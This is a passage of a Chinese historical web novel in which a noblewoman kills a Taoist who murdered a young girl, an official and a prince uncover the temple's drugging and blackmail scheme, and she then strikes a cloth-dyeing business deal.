没等明真反应过来,那支簪子就狠狠地扎穿了他的右手掌,将他彻底钉在了桌上。
“啊啊啊——!”明真发出了更凄惨的叫声。
晏逐星的脸色依旧一片淡定。
这是她无聊在家用箭矢改造的簪子。
她退后一步,将腰间的软剑解了下来,直指明真胯下三寸的地方。
明真瞬间夹紧了腿:???
谁家好人身上带那么多兵器啊。
她一字一句道:“现在,可以回答我的问题了吗?”
“女侠饶命啊,你问什么我都说。”明真眼珠子滴溜溜地转了起来。
他自知打不过眼前的少女,干脆假意配合。
反正至清去找明妄师兄了,不一会儿他们就会来了,到时候他要狠狠折辱这个小娘们。
“你们说的贵人是谁?为什么要杀了这孩子?你们定慈观干的都是什么勾当。”晏逐星没有跟他废话。
“你要是不说实话,你就别当道士了,改行当太监吧。”
“我说,我都说。”明真咬牙切齿地回答,将杀意藏回了心底。
说就说,反正待会明妄师兄来了,这小娘们也得死。
“是昭瑞亲王府的贵人让我们干的!”
“那个,你听说过昭瑞亲王府和定远侯府的恩怨吗?”
明真忍着剧痛试探。
晏逐星没想到来到了通州,竟然还能和昭瑞亲王府扯上关系。
“别废话,说重点。”晏逐星手微微一沉,他的胳膊上多了一道血痕。
明真额角沁出细密的冷汗,哪里还敢废话,赶紧把所有的事情说了出来。
“昭瑞亲王府那位谢世孙横死后,老王爷又中了风,那位郡王便发了疯似地想报复定远侯府。后来明妄师兄就被请去了,师兄替王府毁了定远侯府二少爷的魂魄。”
“但郡王不满足,还想继续报复侯府。于是明妄师兄就给他们出了一个主意……”
说到此处,明真斜睨了地上小姑娘的尸首一眼,声音渐渐变低。
“说是要找一个八字纯阴、未破身的女童与谢世孙配骨合葬。如此这般,不仅可以镇住谢世孙的怨煞之气,还可以借此炼化两人的魂魄,搅得定远侯府家破人亡。”
“所以你就把她杀了?”晏逐星眼神瞬间变得冰冷。
“我也是听命行事,女侠饶命……”明真感觉自己身子在渐渐变冷。
至清那个蠢东西,怎么还没把师兄带来呀。
晏逐星手腕一抖,软剑倏地缠上明真的脖颈。
环住。
见血封喉。
明真的求饶声还卡在喉咙里,就已经没了气息。
“晏大小姐,你杀人了。”
身后忽然传来了一个耳熟的声音。
她僵硬地转身回过头去,看到了一个不可能出现在这里的人。
第113章 杀人被发现
是裴明镜。
他身后还跟着护卫,还有明妄师徒。
“是啊,裴大人,如你所见,我杀了他。”晏逐星轻笑一声,慢条斯理地将剑上的血擦掉。
而后又慢悠悠地把插在明真掌心的匕首和簪子收了回来,丝毫没有杀人被抓到的恐惧与惊慌。
反倒是明妄和至清二人脸色大变。
“裴大人,此事,您得给我师弟一个交代。”明妄一脸严肃地看向了裴明镜。
“您可不能因为这位善信来自定远侯府,您就包庇她。杀人偿命,天经地义。”
晏逐星没有回应明妄的话,只是将自己的斗篷摘下,俯身将地上已经变得冷硬的小姑娘裹了起来。
原本她计划着的是先离开现场,之后再带人来给小姑娘收尸。
现在走不掉,那就现在就把孩子带走吧。
这么冷的天,孤零零地躺在这里,家里人看到了不知道得多伤心。
“裴大人,烦请您把小姑娘的家里人找来。”晏逐星无视了明妄。
“嗯。”裴明镜点了点头,看向明妄和至清。
“这小姑娘姓甚名谁,家住何方,为何会出现在你们道观?”
明妄铁青着脸不说话。
至清只得硬着头皮开口:“这是总铺镇小河村唐善信家的孩子,名叫唐果。年方五岁,与家师有缘,因而家里人主动让她留下来随我等修行。”
“我也不知道她为什么会出现在明真师叔的屋子里,还成了如今的模样。”
裴明镜微一颔首:“劳烦二位道长随护卫至偏室稍候,本官稍后再来问话。”
“那明真师弟的尸首……”明妄看向了被一剑封喉的明真,又看了一眼晏逐星,心里有些发毛。
他会的不过是装神弄鬼的把戏罢了。
若是晏逐星也给他来上一剑,他恐怕也活不成了。
还是离这个女煞神远些为妙。
“待本官查清后,你们可以派人来替他收殓。”裴明镜语气淡淡。
听到他这么说,明妄和至清这才在护卫的引领下走向另一间屋子。
晏逐星以为裴明镜将他们遣走后,就会对她开始审问,没想到他竟然又看向了另一个护卫。
“子平,先前道长说的地址你记住了吧?”
见他点头,裴明镜又道:“你拿我令牌,去请通州知州来定慈观协助我调查命案,而后去将唐果的家人请来。”
“是。”
护卫应下,快步离开。
裴明镜终于看向了晏逐星。
“晏大小姐,可有什么要辩解?”
“我说了,裴大人就会信?”晏逐星挑眉一笑。
裴明镜神色淡定:“信不信,要看你有没有撒谎,有没有证据。若你有意杀人,本官自然不会放过你;若你被污蔑,本官自然也不会让你蒙受不白之冤。”
“我还以为裴大人已经在心里给我定罪了,毕竟在裴大人眼里,我可不是什么好人。”晏逐星依旧是笑眯眯的模样,没有半点害怕。
“办案,是要讲证据的。”裴明镜目光灼灼,盯着她没有移开。
“现在,没有旁人在,你可以说实话了么?”
“没问题。”晏逐星爽快点头,把整件事情的来龙去脉都说了一遍,没有半句隐瞒。
“所以你是说,他们留下唐果,是因为唐果八字纯阴,他们要让她给谢锦程陪葬?从而报复定远侯府?”裴明镜眉心一拧。
晏逐星点了点头,指着地上明真的尸体道:“他是这么告诉我的。”
“可如今明真已经死了,你有别的证据么?”裴明镜再次询问。
“没有。”晏逐星摇了摇头。
裴明镜一愣,他还以为她这么淡定,是因为留有后手,结果什么也没有?
“那你不害怕?”他忍不住脱口而出。
“不怕,因为裴大人您来了呀。”晏逐星的笑容比先前灿烂了几分。
“找证据的事情,就交给您了。我相信您的断案能力。您是绝对不会放过一个坏人,也不会污蔑一个好人的。”
晏逐星的话,像一滴浓墨坠入裴明镜的心湖,无声晕开。
她……竟信他?
隐去心下的惊讶,裴明镜淡淡道:“不管你怎么说,若是没有证据,那你就是杀害明真的凶手。你可知道会有什么后果?”
“知道呀。”晏逐星点了点头。
“根据《大虞律令》诸谋杀人者,徒三年;已伤者,绞;已杀者,斩。”
裴明镜心下惊讶更浓。
“你竟然将《大虞律令》都背了下来?”
晏逐星眼里闪过一抹狡黠的笑。
她要干的可是杀人放火的事,当然要提前熟读律法,必要时候可以脱罪。
她才不相信请来的讼师会替她真心辩护,要辩护时,自己上才是最靠谱的。
“是。那会儿腿受伤了不能走动,闲着无聊,背着玩。”晏逐星露出了一副乖巧的笑。
“晏大小姐当真是多才多艺,不仅背得了律法,还会舞刀弄剑。”裴明镜眼里浮起淡淡的笑。
晏逐星拱手:“一般一般啦,还是比不得裴大人聪慧过人,断案如神。”
“不知大小姐箭射得如何?”冷不丁,裴明镜忽然又开口。
“略懂一二。”晏逐星没有惊慌。
“我学东西,不过是为了能过得更好一点。什么都会一点,父亲就会觉得我有用一点。”
“你不必在我面前扮可怜。”裴明镜收起了笑。
“你这样的性子,断然不会让自己受欺负的。”
“从前对你母亲还有妹妹的那些忍让,都你是在演戏吧?”
晏逐星一愣,而后笑出了声,像是听到了什么天大的笑话。
她的笑声越来越大,笑得直到眼泪都掉了下来。
她为了获得那些微薄亲情受的委屈,或许在定远侯一家人的眼里,也和裴明镜一个想法,都觉得是她在演戏吧。
如今想来,真是可笑。
“嗯,你说得对。我都是在演戏。所以从今往后,我不会再演,我就是要痛痛快快地活一回。”晏逐星擦掉了眼泪,将怀里的匕首奋力一掷,直接插到了明真的下腹处。
裴明镜身子一震。
他没想到,晏逐星竟然敢当着他的面对一具尸体动手。
第114章 晏明远死了
“一个能对无辜稚童下手的卑鄙无耻的畜生,我自然要杀了他。”晏逐星眉目里满是戾气。
想到唐果小小尸体上的那些伤痕,裴明镜难得没有反驳她。
沉默片刻后,他斟酌着再次开口:“为了这样的人,赔上一辈子……”
“谁说我会赔上一辈子?”晏逐星嗤笑一声。
“此人见色起意,意图对我行不轨之事,我拼死反抗,杀了他,有什么错吗?”
裴明镜又一次被她的话震惊到了。
“你这么说,不怕名声被毁?”
“毁了又如何?难不成裴大人觉得我如今名声很好么?”晏逐星反问。
“只要我不在乎,他们说什么都伤害不了我。撑死了也就是一辈子嫁不出去。”
“一辈子嫁不出去,难道是什么很可怕的惩罚吗?”
晏逐星说到这里,忍不住笑了。
裴明镜发现他越来越看不透晏逐星了。
而且,可怕的是,他竟然隐隐对她这样肆意的洒脱产生了一些羡慕。
他深吸一口气:“你留在此地等我,待我查明真相后,再送你回家。”
“我想见我的丫鬟,她见不到我,怕是要吓坏了。”晏逐星坦然地提了自己的需要。
裴明镜点头应下:“可以。她与你爹娘还有弟弟在一块。”
“事情没查清之前,你们一家都不得离开,本官已经派人拦着了。你去找他们吧。”
说完他就要走,但刚转身就被晏逐星叫住了。
“对了,今日大年初一,裴大人不该在国公府与家人团圆么,为何会出现在这里?”
裴明镜回头,直直地盯着她,而后说出了一句让晏逐星意想不到的话。
“你大哥晏明远,昨天夜里,死了。”
他不认为晏明远的死会那么简单,他的直觉告诉他,此事还是与晏逐星有关。
可晏逐星不在京城,她真的能有办法杀了晏明远吗?
所以今日城门一开,他便领着护卫快马加鞭地赶来了通州。
他要亲眼确认她人在通州才行。
没想到,他来到后,确实见到她了,只不过是在凶杀现场见到的。
“死了?”晏逐星一愣。
阮寄薇和九栀动手的速度那么快吗?
见她惊讶的表情不似作伪,裴明镜脑海里闪过了数种猜测。
难不成,他的直觉不准了?
他这么多年来,查案时的直觉从未有过差错,唯独在晏逐星身上栽了好几回。
他不得不谨慎再谨慎。
见晏逐星迟迟没有说话,他正准备试探几句,就听到她惊恐地开口。
“那个明妄道长,真那么厉害?裴大人,您可要小心啊。”
裴明镜一时还没反应过来她这话是什么意思。
“您忘了吗?明真说了,明妄给昭瑞亲王府出了一个毒计,要让定远侯府家破人亡。”
“我得快点派人回京告知父亲,查查家中是否有什么怪异的东西。上回,昭瑞亲王府还派人送了二哥的遗物回来,还告诉我们二哥已经魂飞魄散。”
晏逐星一脸焦急。
裴明镜:“……”
不是说好不演了么。
他怎么感觉这位晏大小姐演上瘾了?
她看起来根本就不关心他死活,却还要虚情假意地嘱咐他一句要小心。
明明只是想提醒他明真先前说的那些证词吧。
“妖邪鬼怪之说,纯属无稽之谈。晏大小姐不必忧心。”留下这么一句话,裴明镜便去找明妄和至清了。
晏逐星在裴明镜护卫护送下,去了前院。
双鲤一看到她,就泪眼汪汪地扑了过来。
“大小姐,您没事吧?”
晏逐星摸了摸她的脑袋,安慰道:“我没事,不用担心,身上的血不是我的。”
关万海领着夫人和儿子急匆匆地赶过来。
“发生什么事了,怎么会发生命案了?”
“等裴大人先调查吧。”晏逐星没有跟他们过多的解释,让人取了一件新的衣裳和斗篷来,她要更衣。
没过多久,裴明镜的护卫带着唐家人来了。
晏逐星又见到了昨日那对小夫妻。
跟他们一同前来的,还有一个老妇人,她腿软好似走不动了,全然凭着小夫妻一左一右扯着她才被带上来。
晏逐星跟着他们再一次去了后院。
唐家人没察觉跟在身后的她,他们只想快点见到自己的孩子。
“大人,我的女儿呢?”唐田声音发颤地看向了领他们来的护卫。
护卫指了指地上那个裹得严严实实的斗篷。
唐田的脚像是被钉在了原地,他不敢上前,甚至连呼吸都屏住了。
最后还是他的妻子何氏快步向前,蹲下身,猛地掀开了斗篷。
两人都看清了里边的脸。
那张脸又青又白,毫无血色,像蒙了一层寒霜的玉。
正是他们的女儿——唐果。
何氏双腿一软,甚至连哀嚎都没来得及发出,整个人就栽倒在了地上。
唐田踉跄着想要冲过去搀扶妻子,但双腿却像棉花般使不上力。他站在原地,眼睁睁落下了一行清泪。
与他们一同前来的唐母,吓得尖叫了一声。
“不,怎么就死了呢!”
“不可能,不可能!!!”
她这一声尖叫,打破了唐田夫妻俩的沉闷,他们终于哭了出来。
“果儿,我的果儿。”何氏眼泪奔涌而出,扑上去紧紧抱住了女儿的尸体。
“你快醒醒,醒醒,娘给你买大风车,买绢花戴好不好?”
唐田忍着心碎,扭头看向了护卫:“请问这位大人,明妄道长身在何处?能否让我见他,我有话要问他。”
护卫:“待裴大人问完话,你们才能见他。”
听到这话,唐田攥紧了拳头,失望地转身。
这时,他才看到站在不远处的晏逐星。
他脸上满是惊讶:“贵人,是你?”
而后他又扭头看向了盖在女儿身上的斗篷,猛地反应了过来。
“那是您的衣裳?您先前见过果儿?”他激动地看着晏逐星。
原本痛哭流涕的何氏听到这话,止住了哭声,扑通跪倒在了晏逐星面前,不停地给她磕头。
“恩人,大小姐,求您告诉我吧,究竟发生了什么事?我的果儿是怎么死的?”
第115章 断子绝孙了
晏逐星沉默了。
她不知道到底该不该将真相告诉他们。
对于这样的普通百姓,昭瑞亲王离他们来说实在太远,想要报仇,谈何容易。
“恩人,求您了,您就告诉我们吧。”唐田也跪了下去。
晏逐星将两人搀扶了起来。
她决定把真相说出来。
他们是唐果的家里人,他们有权利知道真相,至于知道之后会怎么做,那也是他们的选择。
“我来的时候,她已经不在了。”晏逐星的一句话,击溃了两人。
他们互相搀扶着,才没有再度跌倒。
“但是据杀害她的那人所言……”
她把明真说的话,原原本本地告诉了唐田夫妻俩。
唐田夫妻俩如遭雷击,他们身后的唐母痛苦地捂住了脸。
“道长说的是小果儿的八字不好,克着咱们老唐家的祖坟了,所以我才一直没有孙子。”
“只要把小果儿留在他这跟随他清修,我很快就能抱上孙子了。”
“他,他竟然骗我!”
唐田听到这话,不可思议地看着母亲。
“娘,您怎么能听信这样的话?!”唐田十分痛苦。
“还不是你跟何氏,生下小果儿之后一直没有再生,娘着急啊。”唐母哭得一把鼻涕一把眼泪。
“我不能看着咱们老唐家断子绝孙啊。”
“况且、况且,明妄道长向来说得很准,谁能料到,他竟然这样心肠歹毒之人啊。”
唐母哭得愈发大声。
看着母亲这般自责愧疚,唐田责备的话也说不出口了。
但一旁的何氏却跟疯了一样,猛地扑过去揪住了她的衣领,厉声质问:“你不是说过两日就能把果儿接回去吗?”
“你还我女儿命来!”
“阿苗,你冷静点,娘她不是故意的。”唐田赶忙劝架。
见儿子护着自己,唐母用力推开了何氏,狡辩道:“这事也不能全怪我。要是你早早生了儿子,我也不会听信谗言,把果儿留在道观。”
何氏没想到这事竟然还能怪到自己头上,她情绪更激动了。
“你知道为何成婚多年我和唐田只有果儿一个孩子吗?那是因为……”何氏的话还没说完,就被唐田捂住了嘴。
“阿苗,你冷静点!!!”他嘶声怒吼。
“因为什么,儿子你让她说。”唐母想到这几年何氏都没生出儿子,腰杆子又硬了起来。
何氏再也不受这个窝囊气,她咬了唐田的手一口,推开他大喊出来:“是因为大夫说你儿子元阳弱于常人,很难有孩子。能有一个果儿已经是老天眷顾!”
“你胡说八道。”唐母怒目圆瞪,都忘了哭了。
“我是不是胡说,你可以去问济世堂的胡大夫。”何氏眼泪不停地往外流。
她好不容易得了一个女儿,如今却阴阳相隔,她怎能不恨。
早知如此,今日她便跟着来这定慈观了。
无论如何,她都不会让女儿留下来的。
可现在,说什么都晚了。
唐田脸色变得灰败,一言不发。
唐母还想嚷嚷的,瞧见儿子这个表情,便知道何氏说的是真的了。
这一刻,她终于明白,为何生下果儿后,儿子对儿媳百般好。
原来竟是因为这个原因。
“能治好的,对不对?说不定是通州的大夫不行呢?要不咱们去京城瞧瞧?京城名医多,不管花多少银两,娘都给你治!”唐母一把抓住了儿子的手,眼里堆满了急切。
“你以为我们没去过吗……”唐田甩开了母亲的手,脸色愈发难看。
“京城的大夫也说了,这个是娘胎里带的,很难调养好了。”
“我和阿苗想着,等果儿长大了招赘婿,生个儿子跟我姓唐,也算有了后。”
“如今,一切都毁了……”
唐母听到这话,终于意识到唐家这一回真的彻底断子绝孙了的事实,当场就晕了过去。
晏逐星也没想到唐母将唐果留下竟是这个原因,一时间也无言以对。
可惜了唐果这孩子。
裴明镜迟迟没有出现,但通州知州却派了几十个兵马守住了定慈观,一时间被留下的关家人都很紧张。
“到底出什么事了?大小姐,您就告诉我们吧。”关万海忍不住又来找晏逐星。
“与你们无关,不必太担忧。”晏逐星还是没有给他们答案。
关万海铩羽而归,急得在原地来回踱步。
“早知今日就不来这定慈观了。”他嘟囔着,整个人肉眼可见的烦躁。
杨氏也烦,但她不敢多说什么,这毕竟是夫君的决定,如今说什么都晚了。
只能耐着性子等了。
他们从天亮等到了天黑,终于等到了裴明镜从关押明妄的房间里走了出来。
“送他们回吧。”裴明镜没想到今日竟然查出了这么一桩大案子。
他揉了揉疲惫的眉心,吩咐了下去。
通州知州林天耀一脸谄媚:“裴大人,可要先去知州府小憩片刻?”
裴明镜并未理会他的示好,淡淡道:“不必了。林大人管辖的境内出现了这样的邪道,暗地里谋财害命无数起,林大人还是想想怎么跟皇上交代吧。”
林天耀登时脸色就变了。
大过年的,裴明镜就不能说点好听的吗。
他哭丧这一张脸道:“裴大人,此事下官也是才知道啊……”
“林大人这是在拖延时间好让明妄的同伙逃脱?若是如此,之后本官参的可不就是失察之责这么简单了。”裴明镜瞥了他一眼。
林天耀当即头皮发麻,立刻举手发誓:“下官这就去查,绝不会姑息这些作奸犯科之人。”
晏逐星有些好奇究竟发生了什么事。
她看向裴明镜,正欲打听,裴明镜就直接让人把他们请走了。
“无关之人可以离开了。”
晏逐星快步追了上去。
“我不算无关之人吧?”
她想知道完整的事情,说不定可以从中抽丝剥茧,利用他们做的事情加快昭瑞亲王府的灭亡。
裴明镜眉头微皱。
晏逐星杀了明真,确实不算无关。
只是想到明真犯下的那些恶行,还有晏逐星之前说的那些话……
他一瞬间动摇。
为了一个本就该死的恶徒,毁掉一个女子一辈子,真的有必要吗?
裴明镜沉默了片刻后,开口道:“有关又如何?案情相关,无可奉告。没有即刻将你捉拿入狱,已经是法外开恩。休要多言。”
“是是是。多谢裴大人。若大人需要我提供什么证据,我一定全力配合。”晏逐星留下一句客套话,果断开溜。
裴明镜看起来没有要将她和这件事扯上关系的意思,那她就没必要硬往上凑了。
想知道发生什么,之后回去找永安王打听不就好了。
想到谢翊宁,晏逐星忽然有些想知道他现在在做什么。
他那样受宠的孩子,这个年一定过得很开心吧。
走出定慈观,晏逐星听到了一阵马蹄声。
她有些好奇地看了过去,这么晚了,谁还会来定慈观?
第116章 永安王来了
马蹄声由远及近,有人踏破风雪而来。
看清来人的那一刻,晏逐星瞪圆了眼睛,脱口而出:“永安王?”
关万海一家听到这个称呼,都吓坏了,不知所措地站在原地发呆。
他们见过最大的贵人就是侯爷了,忽然来个王爷,他们现在该怎么办?
下跪行礼吗?
可王爷大年初一跑来这做什么,不会是晏逐星认错人了吧?
她不也没行礼么。
关万海腹诽刚结束,就看到晏逐星对来人恭恭敬敬地行了一礼:“臣女见过永安王。”
关万海一家人赶忙有样学样,跟着行礼。
谢翊宁抬手拉住缰绳,从马儿上一跃而下,落在了晏逐星面前。
“裴明镜可有为难你?”
他上下将晏逐星打量了一圈,而后又仔细端详了一下她的眼睛。
见她不像哭过的样子,皱着的眉头这才舒展开来。
“没有。”晏逐星摇了摇头,眼里闪过一丝茫然。
她没想到永安王见到她的第一句话是这个。
一旁的关万海等人听到谢翊宁对晏逐星竟然用这样关心的语气,集体倒吸了一口凉气。
好嘛,怪不得这位大小姐这么嚣张,原来背后是有王爷给她撑腰。
而后又暗暗松了一口气。
还好还好,他们没有得罪她。
“今日定慈观发生的事,你仔细同本王说说。此事涉及妖道祸乱超纲,本王必须调查清楚。”
听到谢翊宁这番话,跟在身后的停云无语凝噎,只得望天。
明明是昨夜侯府大火,定远侯府大少爷被活活烧死,王爷担心远在通州的晏大小姐也遇害,立刻遣了照夜来查探。
不曾想,照夜调查回去复命,称晏大小姐卷入了命案,裴大人来了,还把晏大小姐和她的生父生母扣留了。
王爷生怕裴大人又刁难晏大小姐,于是派人来接这位大小姐回京。
但人才刚走出王府,王爷又改主意了。
他怕裴大人不买别人的账,决定亲自来。
什么调查妖道,明明是来捞人。
谢翊宁说得一脸严肃,晏逐星立刻就信了。
“王爷请随我来。”她将谢翊宁请到了明真的院落当中。
这儿是定慈观最奢华的地方,这样的地方才勉强配得上永安王。
主要还是外边太冷了,不适合谈话。
双鲤十分有眼力见,从屋子里翻出了上好的银丝炭给两人点了炭盆,屋内顿时暖和多了。
拴好马儿跟过来的停云不甘示弱,立刻生火煮了一壶热茶送过来。
晏逐星还没来得及跟谢翊宁好好说今日发生
了什么事,裴明镜就来了。
“下官见过王爷。”
谢翊宁抿了一口茶,微微点头。
“不知王爷深夜前来,所为何事?”裴明镜试探地开口。
永安王莫不是为了晏逐星而来?
“听闻通州有一妖道要用邪术害父皇,本王自然得亲自前来查探。”谢翊宁回答得十分坦荡,顺便还解释了与晏逐星私下见面的原因。
“先前得知裴大人还在忙,便请晏大小姐替本王答疑解惑。”
“如今裴大人来了,正好,你们一块说吧。”
晏逐星听到这话,眼眸微微一亮。
裴明镜当着永安王的面肯定不敢撒谎,那么今日定慈观之事他一定会原原本本地说出来。
那她岂不是也能知道发生什么事了?
于是她果断开口:“王爷,那我就先说我知道的吧。”
“嗯。”谢翊宁点了点头。
晏逐星便将昨日遇到唐果一家,还有关万海一家为何要带自己来定慈观,还有后续因为风车跟踪至清,发现明真杀害唐果的事情一一说了出来。
当然,她杀了明真的事情,她也没有隐瞒。
裴明镜有些诧异地看了她一眼。
她竟然将这事也告诉永安王,不怕永安王知道她是这样的女子之后远离她么?
晏逐星说完后,谢翊宁脱口而出:“杀得好,这样的极恶之徒,该受千刀万剐之行。”
裴明镜:“……”
是他担心得太早了。
“一剑封喉,倒是便宜了他。”谢翊宁冷哼一声,而后看向了裴明镜。
“裴大人,你给本王说说,这定慈观到底是怎么一回事吧。”
“是。”裴明镜应下,将今日调查清楚的事情和盘托出。
原来,定慈观根本就不是什么正经道观,明妄就是个会些江湖把戏的骗子。
他们制作的无忧散,实际上里边加了一种特殊的迷魂药。
他们燃香之前,提前服用了解药,因此不受任何影响。
但前来的那些香客们,却中招了。
他们用了一种特殊的技法,再加上无忧散,从那些人口中套出了他们的生平底细,记录在册。
若有做了亏心事的,他们便以此为要挟,让人时常来道观给祖师爷添“供奉”。更恶心的是,遇上了年轻貌美的妇人,他们还会将人迷晕后行不轨之事。
那些妇人们对此还一无所知。
若来的只是一个普通的人,他们便向他们兜售改良后的无忧散。
改良后的无忧散减轻了迷药的分量,让人吸入之后不会半昏迷,只会睡得比较香,而且睡醒后精神焕发,会把当夜的事情忘得一干二净。
因此不少人都来求购这个无忧散。
“这么说起来,这个无忧散若是用在正途上也算一个好东西?”一旁的停云忍不住嘀咕了起来。
“不。此物用久了极其伤身,一日不用便会头疼难受,很难戒断。”裴明镜摇了摇头。
“久而久之,身体也会越来越差,从而逝世。”
谢翊宁翻阅了他递过来的案卷,眉头皱得越来越紧。
这还只是他们查出来的冰山一角,受害者竟然牵连如此广泛。
“此物必须禁了。”谢翊宁果断作出决定。
“下官也有此意。”裴明镜对他这话十分赞同。
这时,晏逐星忽然开口:“有一事,我想请裴大人保密。”
第117章 瞒下这件事
“你放心,若是你杀了明真的事情,本王可以……”谢翊宁率先开口。
晏逐星却摇头打断了他。
“不是这事。”
“那是何事?”裴明镜和谢翊宁同时问出了声。
“关于那些妇人受辱之事,能否瞒下。”晏逐星神色肃穆。
两人听到这话,俱是一怔。
“此事若是传开,但凡来过定慈观的女子,恐怕都会被人怀疑猜忌。到时候,光是那些闲言碎语,就足够毁掉很多人。”晏逐星说出了她的担忧。
两人都沉默了。
确实,这事一旦传开,那些妇人很可能要承受别人异样的眼光,她们的丈夫也难免会怀疑她们是否失了贞洁。
届时,恐怕要闹出不少人命。
裴明镜还在思考,谢翊宁就率先开口了:“晏大小姐言之有理,裴大人,此事日后记得压下不表,着重强调无忧散谋财害命即可。”
“是。”裴明镜应了一声。
他看向晏逐星的眼神变得有些复杂。
她杀人不眨眼,却又心肠柔软,为了无辜百姓的名声考虑这般周全。
可是对自己却一副无所谓的态度。
晏逐星,你究竟是什么样的人。
事情已经真相大白,晏逐星起身告退。
谢翊宁命停云护送他们一家下山。
晏逐星回家洗洗倒头就睡,可关万海却怎么也睡不着。
“你说,咱们认下这个闺女,究竟是好事还是坏事?”他看着夫人,忧心忡忡。
杨氏握住了他的手,安慰道:“夫君,开弓没有回头箭。此事的决定权不在你我,在侯府。”
关万海叹了一口气。
他又何尝不知道呢。
定远侯和晏逐星,一个想让他们认下晏逐星这个女儿,另一个显然不这么想。
可这两个人,不管是谁,他们都得罪不起。
杨氏见他叹气,再次安慰:“车到山前必有路,船到桥头自然直。咱们走一步看一步吧。”
关万海点了点头,夫妻相拥而眠。
*
大年初二,回娘家。
关家的几个女儿今日要带着丈夫和孩子们回来,因此关家的下人们早早就忙活了起来。
关万海盯着硕大的黑眼圈从床上爬起来,刚洗漱完毕,还没见到女儿和姑爷,就瞧见了双鲤。
“关老爷,我家小姐要见你。”
“走吧,莫让她等急了。”关万海哪敢拒绝晏逐星,也不敢摆父亲的谱,立刻乖乖跟着双鲤走了。
下人们看着目瞪口呆。
在家中说一不二的老爷,竟然对新认回来的四小姐言听计从,甚至还带着一点儿畏惧。
关家,怕是要变天了。
关万海见到晏逐星,赶忙行礼:“不知大小姐寻我何事?”
“昨日,我这个亲女儿的名头,关老板用得很高兴嘛。”晏逐星意味深长地看了他一眼。
关万海顿时冷汗淋漓,没想到她竟然这么快就找他算账了。
“这个嘛,这个……”关万海支支吾吾,一时间找不出什么合理的借口。
毕竟面前的这位主儿可不好糊弄。
“关老板不必紧张,坐吧。”晏逐星示意他落座。
关万海立马老实坐下。
“用了我的名头,不给点利息,不合适吧?”晏逐星挑眉看向他。
“关家如今生意大不如钱,我兜里真没几个钱了呀。”关万海开始哭穷。
“我不要现银,我要关家布匹行。”晏逐星轻轻点了点桌子。
关万海脸色瞬间变了,脱口而出:“这可是我们家的心血!你说要就要,未免太过分了。我不同意,你杀了我我也不可能把它给你。”
“关老板不要着急,我不白要。我只要利润的五成。”晏逐星依旧不急不躁。
“五成?!”关万海激动得都破音了。
这和白抢有什么区别?!
“我不……”
“我有平易版浮光锦的秘方,成本只要它的三分之一,但你可以卖相差无几的价格。”晏逐星一句话让关万海的话立刻拐了个弯。
“我不可能不听您的劝,大小姐,您展开讲讲呗。”关万海眼里透露出炙热的光芒,脸上也堆砌起讨好的笑。
浮光锦可是贡品。
如今只有皇室中人才能用上,一匹价值几百两。
有价无市!
哪个做布匹生意的不想有这么一个独家秘方。
若是真能做出媲美浮光锦的布料,他们关家从此定然可以成为百年老店,傲立通州,甚至可以成为大虞最出名的布匹行。
想到那个场景,关万海就激动得恨不得去院子里跑两圈。
晏逐星慢条斯理地喝了一口茶,没说话。
昨夜听到无忧散的成分有虫子时,她忽然想起了上辈子行军作战一个来自岭南的小卒说过的一件事。
他们那有一种亮闪闪的甲虫,每年都会蜕壳。
他阿姐爱美,会用甲虫蜕下来的壳磨成粉,混合着花汁液涂到指甲上,就会变得亮晶晶的。
后来还试过弄到帕子上,帕子在太阳下就变得流光溢彩,十分好看。
他说等日后他娶妻的时候,就让阿姐帮他染帕子送给心爱的人。
当时她想的是等她回京城了,找找看有没有类似的虫子,她也试试这个法子,所以追着那人仔细问了做法。
昨夜回到关家后,她就想着那个法子能不能用到布料上,若是可以,这或许可以成为她日后的营收。
毕竟卖冰并非长久之计。
她日后要做的事情很多,钱是绝对不能少的,得有一个稳当的收益来源才行。
如今她人手不足,这个生意如果她自己做,需要耗费大量的时间金钱精力,和有布匹生意经验的关家合作是当下最好的选择。
“大小姐,喝茶喝茶。”见晏逐星迟迟不说话,关万海殷切地给她倒茶水,眼里满是期待与渴望。